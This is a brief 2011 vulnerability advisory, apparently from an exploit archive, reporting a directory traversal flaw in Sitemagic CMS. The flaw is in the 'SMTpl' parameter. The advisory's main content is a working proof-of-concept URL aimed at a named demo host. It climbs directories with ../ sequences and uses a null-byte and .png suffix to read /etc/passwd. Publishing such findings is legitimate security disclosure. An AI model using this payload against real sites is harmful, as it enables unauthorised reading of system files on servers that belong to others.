Sitemagic CMS Directory Traversal

Posted on 23 June 2011

Vendor: Sitemagic CMS Product web page: http://www.sitemagic.org Autore : Andrea Bocchetti Twitter: @AndreaBocchetti Desc: Sitemagic CMS suffers from a directory traversal "SMTpl" Url : http://codemagic.dk/smcmsdemoint/index.php?SMTpl=../../../../../../../../../../etc/passwd%00.png